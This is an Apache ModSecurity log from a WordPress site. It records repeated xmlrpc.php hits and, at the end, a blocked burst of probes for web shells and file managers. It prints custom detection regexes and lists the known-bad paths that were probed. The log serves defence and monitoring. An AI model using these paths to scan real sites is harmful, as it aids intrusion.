[Thu Apr 09 12:29:34.270062 2026] [:error] [pid 24624:tid 24647] [client 103.205.142.28:43742] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcrLu4Jn-WvK1ZBTvhSPAAAANU"]
[Thu Apr 09 12:31:40.159317 2026] [:error] [pid 24517:tid 24594] [client 162.222.34.234:59958] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcrrHboYEn2ZFM_PS8sVQAAAJQ"]
[Thu Apr 09 12:37:05.895822 2026] [:error] [pid 24624:tid 24633] [client 93.16.216.118:56654] [client 93.16.216.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.16.216.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcs8e4Jn-WvK1ZBTvhVQgAAAMc"]
[Thu Apr 09 12:37:22.989253 2026] [:error] [pid 24516:tid 24565] [client 54.36.181.89:46436] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adctAthW7vSS-UkeWCXjrAAAAFI"]
[Thu Apr 09 12:39:20.342214 2026] [:error] [pid 24516:tid 24566] [client 20.238.240.42:3904] [client 20.238.240.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.238.240.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcteNhW7vSS-UkeWCXkKgAAAFM"]
[Thu Apr 09 12:39:50.301044 2026] [:error] [pid 24624:tid 24632] [client 85.209.9.49:55682] [client 85.209.9.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.209.9.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adctlu4Jn-WvK1ZBTvhWUAAAAMY"]
[Thu Apr 09 12:42:42.245607 2026] [:error] [pid 24516:tid 24549] [client 149.202.83.206:38500] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcuQthW7vSS-UkeWCXkygAAAEI"]
[Thu Apr 09 12:43:01.667606 2026] [:error] [pid 24515:tid 24537] [client 147.182.180.16:50440] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcuVa1OMnvM2fMnB1MqtQAAABI"]
[Thu Apr 09 12:43:38.956432 2026] [:error] [pid 24927:tid 24936] [client 194.233.81.119:38372] [client 194.233.81.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.81.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcuejXObuzEuw8mNJtBmgAAAQY"]
[Thu Apr 09 12:44:53.498475 2026] [:error] [pid 24517:tid 24576] [client 159.65.130.72:32898] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcuxXboYEn2ZFM_PS8wBAAAAII"]
[Thu Apr 09 12:51:08.466248 2026] [:error] [pid 24927:tid 24934] [client 85.128.143.134:59204] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcwPDXObuzEuw8mNJtGqAAAAQQ"]
[Thu Apr 09 12:57:41.431958 2026] [:error] [pid 24927:tid 24952] [client 46.21.198.186:47066] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcxxTXObuzEuw8mNJtJ7AAAARY"]
[Thu Apr 09 13:04:12.897453 2026] [:error] [pid 24927:tid 24944] [client 80.66.213.216:54534] [client 80.66.213.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.66.213.216, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adczTDXObuzEuw8mNJtNEwAAAQ4"]
[Thu Apr 09 13:06:56.335012 2026] [:error] [pid 24927:tid 24951] [client 188.166.244.214:58498] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adcz8DXObuzEuw8mNJtOjwAAARU"]
[Thu Apr 09 13:07:23.793307 2026] [:error] [pid 24516:tid 24556] [client 163.172.207.222:59643] [client 163.172.207.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.172.207.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc0C9hW7vSS-UkeWCXo8wAAAEk"]
[Thu Apr 09 13:07:26.348096 2026] [:error] [pid 24517:tid 24577] [client 213.160.71.30:59132] [client 213.160.71.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc0DnboYEn2ZFM_PS82MgAAAIM"]
[Thu Apr 09 13:12:00.622107 2026] [:error] [pid 24927:tid 24940] [client 91.99.102.135:45228] [client 91.99.102.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.99.102.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc1IDXObuzEuw8mNJtRmQAAAQo"]
[Thu Apr 09 13:13:24.497324 2026] [:error] [pid 24516:tid 24558] [client 162.43.85.120:40972] [client 162.43.85.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.43.85.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc1dNhW7vSS-UkeWCXqSwAAAEs"]
[Thu Apr 09 13:13:52.284501 2026] [:error] [pid 24517:tid 24591] [client 81.169.245.215:42112] [client 81.169.245.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.245.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc1kHboYEn2ZFM_PS84PQAAAJE"]
[Thu Apr 09 13:13:55.026983 2026] [:error] [pid 24927:tid 24952] [client 5.42.124.21:51726] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc1kzXObuzEuw8mNJtSwgAAARY"]
[Thu Apr 09 13:15:14.415704 2026] [:error] [pid 24624:tid 24632] [client 139.59.37.240:54848] [client 139.59.37.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.37.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc14u4Jn-WvK1ZBTvhlTgAAAMY"]
[Thu Apr 09 13:17:38.790959 2026] [:error] [pid 24516:tid 24564] [client 149.202.83.206:41280] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc2cthW7vSS-UkeWCXrHgAAAFE"]
[Thu Apr 09 13:28:37.993701 2026] [:error] [pid 24624:tid 24649] [client 178.255.79.190:33572] [client 178.255.79.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.255.79.190, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc5Be4Jn-WvK1ZBTvhnpQAAANc"]
[Thu Apr 09 13:43:14.132842 2026] [:error] [pid 24624:tid 24646] [client 157.245.6.105:59996] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc8cu4Jn-WvK1ZBTvhrmgAAANQ"]
[Thu Apr 09 13:45:20.152782 2026] [:error] [pid 24624:tid 24636] [client 173.212.238.186:51944] [client 173.212.238.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.212.238.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc88O4Jn-WvK1ZBTvhsOQAAAMo"]
[Thu Apr 09 13:47:59.608413 2026] [:error] [pid 24927:tid 24931] [client 165.227.121.154:35468] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc9jzXObuzEuw8mNJthKgAAAQE"]
[Thu Apr 09 13:48:03.227121 2026] [:error] [pid 24517:tid 24578] [client 95.217.38.155:47024] [client 95.217.38.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.217.38.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc9k3boYEn2ZFM_PS89uAAAAIQ"]
[Thu Apr 09 13:49:16.663702 2026] [:error] [pid 24517:tid 24587] [client 87.98.165.243:57676] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc93HboYEn2ZFM_PS89-wAAAI0"]
[Thu Apr 09 13:49:54.785501 2026] [:error] [pid 24517:tid 24575] [client 134.122.21.213:56126] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc-AnboYEn2ZFM_PS8-GAAAAIE"]
[Thu Apr 09 13:54:47.752968 2026] [:error] [pid 24624:tid 24639] [client 103.39.132.40:57928] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.132.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc_J-4Jn-WvK1ZBTvhvQQAAAM0"]
[Thu Apr 09 13:54:51.692934 2026] [:error] [pid 24516:tid 24552] [client 185.199.223.27:50468] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc_K9hW7vSS-UkeWCXwZAAAAEU"]
[Thu Apr 09 13:57:31.733956 2026] [:error] [pid 24517:tid 24581] [client 141.95.19.158:45880] [client 141.95.19.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.19.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adc_y3boYEn2ZFM_PS8__gAAAIc"]
[Thu Apr 09 14:01:18.456340 2026] [:error] [pid 24927:tid 24951] [client 49.51.183.15:33860] [client 49.51.183.15] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "addArjXObuzEuw8mNJtl0QAAARU"]
[Thu Apr 09 14:06:23.077039 2026] [:error] [pid 24516:tid 24563] [client 177.91.132.9:60436] [client 177.91.132.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.132.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addB39hW7vSS-UkeWCXyjQAAAFA"]
[Thu Apr 09 14:08:37.055739 2026] [:error] [pid 24624:tid 24649] [client 167.172.55.225:41106] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addCZe4Jn-WvK1ZBTvhzYQAAANc"]
[Thu Apr 09 14:11:59.436608 2026] [:error] [pid 24516:tid 24552] [client 156.38.230.175:45226] [client 156.38.230.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.38.230.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addDL9hW7vSS-UkeWCXzyQAAAEU"]
[Thu Apr 09 14:18:12.752952 2026] [:error] [pid 24517:tid 24578] [client 217.61.143.66:40938] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addEpHboYEn2ZFM_PS9FeAAAAIQ"]
[Thu Apr 09 14:23:36.880667 2026] [:error] [pid 24624:tid 24648] [client 213.160.71.210:48564] [client 213.160.71.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addF6O4Jn-WvK1ZBTvh4uQAAANY"]
[Thu Apr 09 14:24:55.752434 2026] [:error] [pid 24927:tid 24933] [client 45.95.243.3:64177] [client 45.95.243.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "addGNzXObuzEuw8mNJtwlAAAAQM"]
[Thu Apr 09 14:25:02.163522 2026] [:error] [pid 24624:tid 24635] [client 45.95.243.42:61055] [client 45.95.243.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "addGPu4Jn-WvK1ZBTvh5DwAAAMk"]
[Thu Apr 09 14:25:11.146037 2026] [:error] [pid 24516:tid 24565] [client 45.95.243.8:43975] [client 45.95.243.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "addGR9hW7vSS-UkeWCX13AAAAFI"]
[Thu Apr 09 14:25:16.882379 2026] [:error] [pid 24927:tid 24941] [client 45.95.243.162:47311] [client 45.95.243.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "addGTDXObuzEuw8mNJtwswAAAQs"]
[Thu Apr 09 14:25:26.947037 2026] [:error] [pid 24516:tid 24559] [client 45.95.243.32:35155] [client 45.95.243.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "addGVthW7vSS-UkeWCX16gAAAEw"]
[Thu Apr 09 14:25:29.423718 2026] [:error] [pid 24624:tid 24632] [client 45.95.243.161:29849] [client 45.95.243.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "addGWe4Jn-WvK1ZBTvh5IQAAAMY"]
[Thu Apr 09 14:25:29.989475 2026] [:error] [pid 24624:tid 24644] [client 45.95.243.41:41449] [client 45.95.243.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "addGWe4Jn-WvK1ZBTvh5IwAAANI"]
[Thu Apr 09 14:25:30.770137 2026] [:error] [pid 24516:tid 24568] [client 45.95.243.46:22169] [client 45.95.243.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "addGWthW7vSS-UkeWCX16wAAAFU"]
[Thu Apr 09 14:25:31.326332 2026] [:error] [pid 24927:tid 24938] [client 45.95.243.9:36641] [client 45.95.243.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "addGWzXObuzEuw8mNJtwxQAAAQg"]
[Thu Apr 09 14:25:31.900383 2026] [:error] [pid 24624:tid 24650] [client 45.95.243.37:28423] [client 45.95.243.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "addGW-4Jn-WvK1ZBTvh5JQAAANg"]
[Thu Apr 09 14:25:33.483554 2026] [:error] [pid 24927:tid 24933] [client 45.95.243.33:63841] [client 45.95.243.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "addGXTXObuzEuw8mNJtwzAAAAQM"]
[Thu Apr 09 14:25:36.100036 2026] [:error] [pid 24515:tid 24527] [client 45.95.243.11:53757] [client 45.95.243.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "addGYK1OMnvM2fMnB1M3-gAAAAg"]
[Thu Apr 09 14:25:39.869480 2026] [:error] [pid 24624:tid 24631] [client 45.95.243.37:43595] [client 45.95.243.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "addGY-4Jn-WvK1ZBTvh5MQAAAMU"]
[Thu Apr 09 14:25:41.417277 2026] [:error] [pid 24624:tid 24634] [client 45.95.243.30:27827] [client 45.95.243.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "addGZe4Jn-WvK1ZBTvh5MwAAAMg"]
[Thu Apr 09 14:25:43.721103 2026] [:error] [pid 24927:tid 24946] [client 45.95.243.39:28559] [client 45.95.243.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "addGZzXObuzEuw8mNJtw0gAAARA"]
